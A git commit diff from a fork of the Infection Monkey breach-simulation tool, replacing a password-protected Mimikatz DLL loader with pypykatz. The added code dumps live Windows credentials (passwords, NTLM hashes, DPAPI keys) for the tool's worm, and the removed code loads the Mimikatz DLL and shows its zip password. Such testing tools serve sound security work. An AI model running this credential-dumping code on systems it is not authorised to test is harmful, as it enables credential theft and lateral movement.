forked from p15670423/monkey
Merge pull request #678 from guardicore/feature/pypykatz
Mimikatz dll to pypykatz refactor
This commit is contained in:
commit
0ec5259540
|
@ -29,8 +29,6 @@ $TRACEROUTE_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute32"
|
||||||
$MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island"
|
$MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island"
|
||||||
$MONKEY_DIR = Join-Path "\monkey" -ChildPath "infection_monkey"
|
$MONKEY_DIR = Join-Path "\monkey" -ChildPath "infection_monkey"
|
||||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin"
|
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin"
|
||||||
$MK32_DLL = "mk32.zip"
|
|
||||||
$MK64_DLL = "mk64.zip"
|
|
||||||
$TEMP_PYTHON_INSTALLER = ".\python.exe"
|
$TEMP_PYTHON_INSTALLER = ".\python.exe"
|
||||||
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
|
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
|
||||||
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
|
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
|
||||||
|
@ -44,6 +42,4 @@ $MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2012plu
|
||||||
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/openssl-1.0.2u-x64_86-win64.zip"
|
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/openssl-1.0.2u-x64_86-win64.zip"
|
||||||
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
|
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
|
||||||
$NPM_URL = "https://nodejs.org/dist/v12.14.1/node-v12.14.1-x64.msi"
|
$NPM_URL = "https://nodejs.org/dist/v12.14.1/node-v12.14.1-x64.msi"
|
||||||
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip"
|
|
||||||
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip"
|
|
||||||
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip"
|
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip"
|
||||||
|
|
|
@ -226,20 +226,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
||||||
Remove-Item $TEMP_UPX_ZIP
|
Remove-Item $TEMP_UPX_ZIP
|
||||||
}
|
}
|
||||||
|
|
||||||
# Download mimikatz binaries
|
|
||||||
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
|
|
||||||
if (!(Test-Path -Path $mk32_path))
|
|
||||||
{
|
|
||||||
"Downloading mimikatz 32 binary"
|
|
||||||
$webClient.DownloadFile($MK32_DLL_URL, $mk32_path)
|
|
||||||
}
|
|
||||||
$mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL
|
|
||||||
if (!(Test-Path -Path $mk64_path))
|
|
||||||
{
|
|
||||||
"Downloading mimikatz 64 binary"
|
|
||||||
$webClient.DownloadFile($MK64_DLL_URL, $mk64_path)
|
|
||||||
}
|
|
||||||
|
|
||||||
# Download sambacry binaries
|
# Download sambacry binaries
|
||||||
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
|
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
|
||||||
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
|
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
|
||||||
|
|
|
@ -39,9 +39,9 @@ class WmiExploiter(HostExploiter):
|
||||||
for user, password, lm_hash, ntlm_hash in creds:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
password_hashed = self._config.hash_sensitive_data(password)
|
password_hashed = self._config.hash_sensitive_data(password)
|
||||||
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
|
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
|
||||||
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
|
ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
|
||||||
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
|
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
|
||||||
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
|
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed)
|
||||||
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
|
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
|
||||||
|
|
||||||
wmi_connection = WmiTools.WmiConnection()
|
wmi_connection = WmiTools.WmiConnection()
|
||||||
|
|
|
@ -8,9 +8,6 @@ __author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
block_cipher = None
|
block_cipher = None
|
||||||
|
|
||||||
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
|
||||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
|
@ -66,7 +63,6 @@ def process_datas(orig_datas):
|
||||||
datas = orig_datas
|
datas = orig_datas
|
||||||
if is_windows():
|
if is_windows():
|
||||||
datas = [i for i in datas if i[0].find('Include') < 0]
|
datas = [i for i in datas if i[0].find('Include') < 0]
|
||||||
datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
|
||||||
return datas
|
return datas
|
||||||
|
|
||||||
|
|
||||||
|
@ -118,9 +114,4 @@ def get_exe_icon():
|
||||||
return 'monkey.ico' if is_windows() else None
|
return 'monkey.ico' if is_windows() else None
|
||||||
|
|
||||||
|
|
||||||
def get_mimikatz_zip_path():
|
|
||||||
mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip'
|
|
||||||
return os.path.join(get_bin_folder(), mk_filename)
|
|
||||||
|
|
||||||
|
|
||||||
main() # We don't check if __main__ because this isn't the main script.
|
main() # We don't check if __main__ because this isn't the main script.
|
||||||
|
|
|
@ -7,7 +7,6 @@ The monkey is composed of three separate parts.
|
||||||
|
|
||||||
- The Infection Monkey itself - PyInstaller compressed python archives
|
- The Infection Monkey itself - PyInstaller compressed python archives
|
||||||
- Sambacry binaries - Two linux binaries, 32/64 bit.
|
- Sambacry binaries - Two linux binaries, 32/64 bit.
|
||||||
- Mimikatz binaries - Two windows binaries, 32/64 bit.
|
|
||||||
- Traceroute binaries - Two linux binaries, 32/64bit.
|
- Traceroute binaries - Two linux binaries, 32/64bit.
|
||||||
|
|
||||||
## Windows
|
## Windows
|
||||||
|
@ -28,7 +27,7 @@ The monkey is composed of three separate parts.
|
||||||
`pip install -r requirements.txt`
|
`pip install -r requirements.txt`
|
||||||
4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
|
4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
|
||||||
<https://github.com/upx/upx/releases/download/v3.94/upx394w.zip>
|
<https://github.com/upx/upx/releases/download/v3.94/upx394w.zip>
|
||||||
5. Build/Download Sambacry and Mimikatz binaries
|
5. Build/Download Sambacry
|
||||||
- Build/Download according to sections at the end of this readme.
|
- Build/Download according to sections at the end of this readme.
|
||||||
- Place the binaries under monkey\infection_monkey\bin
|
- Place the binaries under monkey\infection_monkey\bin
|
||||||
6. To build the final exe:
|
6. To build the final exe:
|
||||||
|
@ -83,24 +82,6 @@ Sambacry requires two standalone binaries to execute remotely.
|
||||||
- 32bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so>
|
- 32bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so>
|
||||||
- 64bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so>
|
- 64bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so>
|
||||||
|
|
||||||
### Mimikatz
|
|
||||||
|
|
||||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository.
|
|
||||||
|
|
||||||
1. Build Mimikatz yourself
|
|
||||||
- Building mimikatz requires Visual Studio 2013 and up
|
|
||||||
- Clone our version of mimikatz from <https://github.com/guardicore/mimikatz/tree/1.1.0>
|
|
||||||
- Build using Visual Studio.
|
|
||||||
- Put each version in a zip file
|
|
||||||
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
|
|
||||||
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
|
|
||||||
3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
|
||||||
4. Zipping with 7zip has been tested. Other zipping software may not work.
|
|
||||||
|
|
||||||
2. Download our pre-built mimikatz binaries
|
|
||||||
- Download both 32 and 64 bit zipped DLLs from <https://github.com/guardicore/mimikatz/releases/tag/1.1.0>
|
|
||||||
- Place them under [code location]\infection_monkey\bin
|
|
||||||
|
|
||||||
### Traceroute
|
### Traceroute
|
||||||
|
|
||||||
Traceroute requires two standalone binaries to execute remotely.
|
Traceroute requires two standalone binaries to execute remotely.
|
||||||
|
|
|
@ -17,3 +17,4 @@ wmi==1.4.9 ; sys_platform == 'win32'
|
||||||
pymssql<3.0
|
pymssql<3.0
|
||||||
pyftpdlib
|
pyftpdlib
|
||||||
WinSys-3.x
|
WinSys-3.x
|
||||||
|
pypykatz
|
||||||
|
|
|
@ -105,6 +105,7 @@ class InfoCollector(object):
|
||||||
# we might be losing passwords in case of multiple reset attempts on same username
|
# we might be losing passwords in case of multiple reset attempts on same username
|
||||||
# or in case another collector already filled in a password for this user
|
# or in case another collector already filled in a password for this user
|
||||||
self.info["credentials"][username]['password'] = password
|
self.info["credentials"][username]['password'] = password
|
||||||
|
self.info["credentials"][username]['username'] = username
|
||||||
if len(azure_creds) != 0:
|
if len(azure_creds) != 0:
|
||||||
self.info["Azure"] = {}
|
self.info["Azure"] = {}
|
||||||
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
|
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
|
||||||
|
|
|
@ -1,129 +0,0 @@
|
||||||
import binascii
|
|
||||||
import ctypes
|
|
||||||
import logging
|
|
||||||
import socket
|
|
||||||
import zipfile
|
|
||||||
|
|
||||||
import infection_monkey.config
|
|
||||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
|
||||||
from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
|
|
||||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
|
||||||
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
|
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class MimikatzCollector(object):
|
|
||||||
"""
|
|
||||||
Password collection module for Windows using Mimikatz.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
|
|
||||||
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
|
|
||||||
|
|
||||||
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
|
|
||||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
|
||||||
|
|
||||||
# Password to Mimikatz zip file
|
|
||||||
MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G'
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self._config = infection_monkey.config.WormConfiguration
|
|
||||||
self._isInit = False
|
|
||||||
self._dll = None
|
|
||||||
self._collect = None
|
|
||||||
self._get = None
|
|
||||||
self.init_mimikatz()
|
|
||||||
|
|
||||||
def init_mimikatz(self):
|
|
||||||
try:
|
|
||||||
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
|
|
||||||
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
|
|
||||||
pwd=self.MIMIKATZ_ZIP_PASSWORD)
|
|
||||||
|
|
||||||
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
|
|
||||||
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
|
||||||
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
|
||||||
get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
|
|
||||||
self._collect = collect_proto(("collect", self._dll))
|
|
||||||
self._get = get_proto(("get", self._dll))
|
|
||||||
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
|
|
||||||
self._isInit = True
|
|
||||||
status = ScanStatus.USED
|
|
||||||
except Exception:
|
|
||||||
LOG.exception("Error initializing mimikatz collector")
|
|
||||||
status = ScanStatus.SCANNED
|
|
||||||
T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
|
|
||||||
T1129Telem(status, UsageEnum.MIMIKATZ).send()
|
|
||||||
|
|
||||||
def get_logon_info(self):
|
|
||||||
"""
|
|
||||||
Gets the logon info from mimikatz.
|
|
||||||
Returns a dictionary of users with their known credentials.
|
|
||||||
"""
|
|
||||||
LOG.info('Getting mimikatz logon information')
|
|
||||||
if not self._isInit:
|
|
||||||
return {}
|
|
||||||
LOG.debug("Running mimikatz collector")
|
|
||||||
|
|
||||||
try:
|
|
||||||
entry_count = self._collect()
|
|
||||||
|
|
||||||
logon_data_dictionary = {}
|
|
||||||
hostname = socket.gethostname()
|
|
||||||
|
|
||||||
self.mimikatz_text = self._get_text_output_proto()
|
|
||||||
|
|
||||||
for i in range(entry_count):
|
|
||||||
entry = self._get()
|
|
||||||
username = entry.username
|
|
||||||
|
|
||||||
password = entry.password
|
|
||||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode()
|
|
||||||
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode()
|
|
||||||
|
|
||||||
if 0 == len(password):
|
|
||||||
has_password = False
|
|
||||||
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
|
|
||||||
# Don't save the password of the host domain user (HOSTNAME$)
|
|
||||||
has_password = False
|
|
||||||
else:
|
|
||||||
has_password = True
|
|
||||||
|
|
||||||
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
|
||||||
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
|
||||||
|
|
||||||
if username not in logon_data_dictionary:
|
|
||||||
logon_data_dictionary[username] = {}
|
|
||||||
if has_password:
|
|
||||||
logon_data_dictionary[username]["password"] = password
|
|
||||||
if has_lm:
|
|
||||||
logon_data_dictionary[username]["lm_hash"] = lm_hash
|
|
||||||
if has_ntlm:
|
|
||||||
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
|
||||||
|
|
||||||
return logon_data_dictionary
|
|
||||||
except Exception:
|
|
||||||
LOG.exception("Error getting logon info")
|
|
||||||
return {}
|
|
||||||
|
|
||||||
def get_mimikatz_text(self):
|
|
||||||
return self.mimikatz_text
|
|
||||||
|
|
||||||
class LogonData(ctypes.Structure):
|
|
||||||
"""
|
|
||||||
Logon data structure returned from mimikatz.
|
|
||||||
"""
|
|
||||||
|
|
||||||
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
|
|
||||||
LM_NTLM_HASH_LENGTH = 16
|
|
||||||
|
|
||||||
_fields_ = \
|
|
||||||
[
|
|
||||||
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
|
||||||
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
|
||||||
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
|
|
||||||
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
|
|
||||||
]
|
|
|
@ -0,0 +1,25 @@
|
||||||
|
import logging
|
||||||
|
from typing import List
|
||||||
|
|
||||||
|
from infection_monkey.system_info.windows_cred_collector import pypykatz_handler
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class MimikatzCredentialCollector(object):
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_creds():
|
||||||
|
creds = pypykatz_handler.get_windows_creds()
|
||||||
|
return MimikatzCredentialCollector.cred_list_to_cred_dict(creds)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def cred_list_to_cred_dict(creds: List[WindowsCredentials]):
|
||||||
|
cred_dict = {}
|
||||||
|
for cred in creds:
|
||||||
|
# Lets not use "." and "$" in keys, because it will confuse mongo.
|
||||||
|
# Ideally we should refactor island not to use a dict and simply parse credential list.
|
||||||
|
key = cred.username.replace(".", ",").replace("$", "")
|
||||||
|
cred_dict.update({key: cred.to_dict()})
|
||||||
|
return cred_dict
|
|
@ -0,0 +1,72 @@
|
||||||
|
import binascii
|
||||||
|
from typing import Dict, List, NewType, Any
|
||||||
|
|
||||||
|
from pypykatz.pypykatz import pypykatz
|
||||||
|
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials
|
||||||
|
|
||||||
|
CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds',
|
||||||
|
'kerberos_creds', 'credman_creds', 'tspkg_creds']
|
||||||
|
PypykatzCredential = NewType('PypykatzCredential', Dict)
|
||||||
|
|
||||||
|
def get_windows_creds() -> List[WindowsCredentials]:
|
||||||
|
pypy_handle = pypykatz.go_live()
|
||||||
|
logon_data = pypy_handle.to_dict()
|
||||||
|
windows_creds = _parse_pypykatz_results(logon_data)
|
||||||
|
return windows_creds
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_pypykatz_results(pypykatz_data: Dict) -> List[WindowsCredentials]:
|
||||||
|
windows_creds = []
|
||||||
|
for session in pypykatz_data['logon_sessions'].values():
|
||||||
|
windows_creds.extend(_get_creds_from_pypykatz_session(session))
|
||||||
|
return windows_creds
|
||||||
|
|
||||||
|
|
||||||
|
def _get_creds_from_pypykatz_session(pypykatz_session: Dict) -> List[WindowsCredentials]:
|
||||||
|
windows_creds = []
|
||||||
|
for cred_type_key in CREDENTIAL_TYPES:
|
||||||
|
pypykatz_creds = pypykatz_session[cred_type_key]
|
||||||
|
windows_creds.extend(_get_creds_from_pypykatz_creds(pypykatz_creds))
|
||||||
|
return windows_creds
|
||||||
|
|
||||||
|
|
||||||
|
def _get_creds_from_pypykatz_creds(pypykatz_creds: List[PypykatzCredential]) -> List[WindowsCredentials]:
|
||||||
|
creds = _filter_empty_creds(pypykatz_creds)
|
||||||
|
return [_get_windows_cred(cred) for cred in creds]
|
||||||
|
|
||||||
|
|
||||||
|
def _filter_empty_creds(pypykatz_creds: List[PypykatzCredential]) -> List[PypykatzCredential]:
|
||||||
|
return [cred for cred in pypykatz_creds if not _is_cred_empty(cred)]
|
||||||
|
|
||||||
|
|
||||||
|
def _is_cred_empty(pypykatz_cred: PypykatzCredential):
|
||||||
|
password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password']
|
||||||
|
ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash']
|
||||||
|
lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash']
|
||||||
|
return password_empty and ntlm_hash_empty and lm_hash_empty
|
||||||
|
|
||||||
|
|
||||||
|
def _get_windows_cred(pypykatz_cred: PypykatzCredential):
|
||||||
|
password = ''
|
||||||
|
ntlm_hash = ''
|
||||||
|
lm_hash = ''
|
||||||
|
username = pypykatz_cred['username']
|
||||||
|
if 'password' in pypykatz_cred:
|
||||||
|
password = pypykatz_cred['password']
|
||||||
|
if 'NThash' in pypykatz_cred:
|
||||||
|
ntlm_hash = _hash_to_string(pypykatz_cred['NThash'])
|
||||||
|
if 'LMhash' in pypykatz_cred:
|
||||||
|
lm_hash = _hash_to_string(pypykatz_cred['LMhash'])
|
||||||
|
return WindowsCredentials(username=username,
|
||||||
|
password=password,
|
||||||
|
ntlm_hash=ntlm_hash,
|
||||||
|
lm_hash=lm_hash)
|
||||||
|
|
||||||
|
|
||||||
|
def _hash_to_string(hash_: Any):
|
||||||
|
if type(hash_) == str:
|
||||||
|
return hash_
|
||||||
|
if type(hash_) == bytes:
|
||||||
|
return binascii.hexlify(bytearray(hash_)).decode()
|
||||||
|
raise Exception(f"Can't convert hash_ to string, unsupported hash_ type {type(hash_)}")
|
|
@ -0,0 +1,83 @@
|
||||||
|
from unittest import TestCase
|
||||||
|
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session
|
||||||
|
|
||||||
|
|
||||||
|
class TestPypykatzHandler(TestCase):
|
||||||
|
# Made up credentials, but structure of dict should be roughly the same
|
||||||
|
PYPYKATZ_SESSION = {
|
||||||
|
'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey',
|
||||||
|
'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn',
|
||||||
|
'logon_time': '2020-06-02T04:53:45.256562+00:00',
|
||||||
|
'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086,
|
||||||
|
'msv_creds': [
|
||||||
|
{'username': 'monkey', 'domainname': 'ReAlDoMaIn',
|
||||||
|
'NThash': b'1\xb7<Y\xd7\xe0\xc0\x89\xc01\xd6\xcf\xe0\xd1j\xe9', 'LMHash': None,
|
||||||
|
'SHAHash': b'\x18\x90\xaf\xd8\x07\t\xda9\xa3\xee^kK\r2U\xbf\xef\x95`'}],
|
||||||
|
'wdigest_creds': [
|
||||||
|
{'credtype': 'wdigest', 'username': 'monkey', 'domainname': 'ReAlDoMaIn',
|
||||||
|
'password': 'canyoufindme', 'luid': 123086}],
|
||||||
|
'ssp_creds': [{'credtype': 'wdigest', 'username': 'monkey123', 'domainname': 'ReAlDoMaIn',
|
||||||
|
'password': 'canyoufindme123', 'luid': 123086}],
|
||||||
|
'livessp_creds': [{'credtype': 'wdigest', 'username': 'monk3y', 'domainname': 'ReAlDoMaIn',
|
||||||
|
'password': 'canyoufindm3', 'luid': 123086}],
|
||||||
|
'dpapi_creds': [
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||||
|
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||||
|
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||||
|
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||||
|
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||||
|
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||||
|
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||||
|
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||||
|
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f'}],
|
||||||
|
'kerberos_creds': [
|
||||||
|
{'credtype': 'kerberos', 'username': 'monkey_kerb', 'password': None, 'domainname': 'ReAlDoMaIn',
|
||||||
|
'luid': 123086, 'tickets': []}],
|
||||||
|
'credman_creds': [
|
||||||
|
{'credtype': 'credman', 'username': 'monkey', 'domainname': 'monkey.ad.monkey.com',
|
||||||
|
'password': 'canyoufindme2', 'luid': 123086},
|
||||||
|
{'credtype': 'credman', 'username': 'monkey@monkey.com', 'domainname': 'moneky.monkey.com',
|
||||||
|
'password': 'canyoufindme1', 'luid': 123086},
|
||||||
|
{'credtype': 'credman', 'username': 'test', 'domainname': 'test.test.ts', 'password': 'canyoufindit',
|
||||||
|
'luid': 123086}],
|
||||||
|
'tspkg_creds': []}
|
||||||
|
|
||||||
|
def test__get_creds_from_pypykatz_session(self):
|
||||||
|
results = _get_creds_from_pypykatz_session(TestPypykatzHandler.PYPYKATZ_SESSION)
|
||||||
|
|
||||||
|
test_dicts = [{'username': 'monkey',
|
||||||
|
'ntlm_hash': '31b73c59d7e0c089c031d6cfe0d16ae9',
|
||||||
|
'password': '',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monkey',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindme',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monkey123',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindme123',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monk3y',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindm3',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monkey',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindme2',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monkey@monkey.com',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindme1',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'test',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindit',
|
||||||
|
'lm_hash': ''},
|
||||||
|
]
|
||||||
|
results = [result.to_dict() for result in results]
|
||||||
|
[self.assertTrue(test_dict in results) for test_dict in test_dicts]
|
|
@ -0,0 +1,15 @@
|
||||||
|
from typing import Dict
|
||||||
|
|
||||||
|
|
||||||
|
class WindowsCredentials:
|
||||||
|
def __init__(self, username: str, password="", ntlm_hash="", lm_hash=""):
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
self.ntlm_hash = ntlm_hash
|
||||||
|
self.lm_hash = lm_hash
|
||||||
|
|
||||||
|
def to_dict(self) -> Dict:
|
||||||
|
return {'username': self.username,
|
||||||
|
'password': self.password,
|
||||||
|
'ntlm_hash': self.ntlm_hash,
|
||||||
|
'lm_hash': self.lm_hash}
|
|
@ -2,12 +2,12 @@ import os
|
||||||
import logging
|
import logging
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import MimikatzCredentialCollector
|
||||||
|
|
||||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||||
# noinspection PyPep8
|
# noinspection PyPep8
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
# noinspection PyPep8
|
# noinspection PyPep8
|
||||||
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
|
||||||
# noinspection PyPep8
|
|
||||||
from infection_monkey.system_info import InfoCollector
|
from infection_monkey.system_info import InfoCollector
|
||||||
# noinspection PyPep8
|
# noinspection PyPep8
|
||||||
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
||||||
|
@ -61,12 +61,15 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
LOG.debug('finished get_wmi_info')
|
LOG.debug('finished get_wmi_info')
|
||||||
|
|
||||||
def get_mimikatz_info(self):
|
def get_mimikatz_info(self):
|
||||||
mimikatz_collector = MimikatzCollector()
|
LOG.info("Gathering mimikatz info")
|
||||||
mimikatz_info = mimikatz_collector.get_logon_info()
|
try:
|
||||||
if mimikatz_info:
|
credentials = MimikatzCredentialCollector.get_creds()
|
||||||
|
if credentials:
|
||||||
if "credentials" in self.info:
|
if "credentials" in self.info:
|
||||||
self.info["credentials"].update(mimikatz_info)
|
self.info["credentials"].update(credentials)
|
||||||
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
|
self.info["mimikatz"] = credentials
|
||||||
LOG.info('Mimikatz info gathered successfully')
|
LOG.info('Mimikatz info gathered successfully')
|
||||||
else:
|
else:
|
||||||
LOG.info('No mimikatz info was gathered')
|
LOG.info('No mimikatz info was gathered')
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Mimikatz credential collector failed: {e}")
|
||||||
|
|
|
@ -1,51 +0,0 @@
|
||||||
__author__ = 'maor.rayzin'
|
|
||||||
|
|
||||||
|
|
||||||
class MimikatzSecrets(object):
|
|
||||||
|
|
||||||
def __init__(self):
